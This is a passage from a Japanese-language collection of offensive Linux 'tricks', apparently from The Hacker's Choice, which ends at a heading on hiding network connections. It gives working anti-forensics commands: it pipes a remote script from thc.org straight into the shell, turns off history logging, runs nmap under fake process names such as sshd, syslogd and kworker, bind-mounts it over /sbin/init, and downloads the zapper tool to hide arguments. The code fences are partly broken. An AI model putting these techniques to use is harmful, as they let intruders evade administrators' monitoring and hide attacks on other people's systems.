
各种技巧与窍门
私たちのお気に入りのトリック集です。これらのトリックの多くは私たちが作ったものではありません。私たちは単に収集しているだけです。
トリックは、なぜ機能するのかの説明なしに「そのまま」示します。仕組みと理由を理解するにはLinuxの知識が必要です。
トリックをお持ちですか? 参加してください https://thc.org/ops
BASHをより静かにする。 ~/.bash_history と その他多くのものを無効にする。```sh source <(curl -SsfL https://thc.org/hs)
代替 URL:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
そして、curl/wget がない場合は、surl と、bin curl で (一時的に) インストールされた curl を使用します。```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShellはもっと多くのことを行いますが、最も重要なのは次のとおりです:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
私たちは anew をよく使用しますが、これは簡単な回避策です:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
ボーナスヒント:
「 」(スペース)で始まるコマンドも、[履歴に記録されません](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces)。```
$ id
これはプロセス名のみを隠します。zapperを使用すると、コマンドラインオプションも隠せます。```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
バックグラウンドで '/usr/sbin/sshd' として隠された 'nmap' を起動します:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
GNU screen 内で開始:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
あるいは、バイナリを新しい名前にコピーしてください:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
またはバインドマウントを使用して、(一時的に) /sbin/init が代わりに /dev/shm/nmap を指すようにします:```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. コマンドラインオプションを隠す**
[zapper](https://github.com/hackerschoice/zapper) を使用します:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
Developer は、攻撃的セキュリティのための包括的なGitHub OPSECツールであり、環境とツール群を運用上安全にするのを支援するよう設計されています。```sh
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. ネットワーク接続を隠す**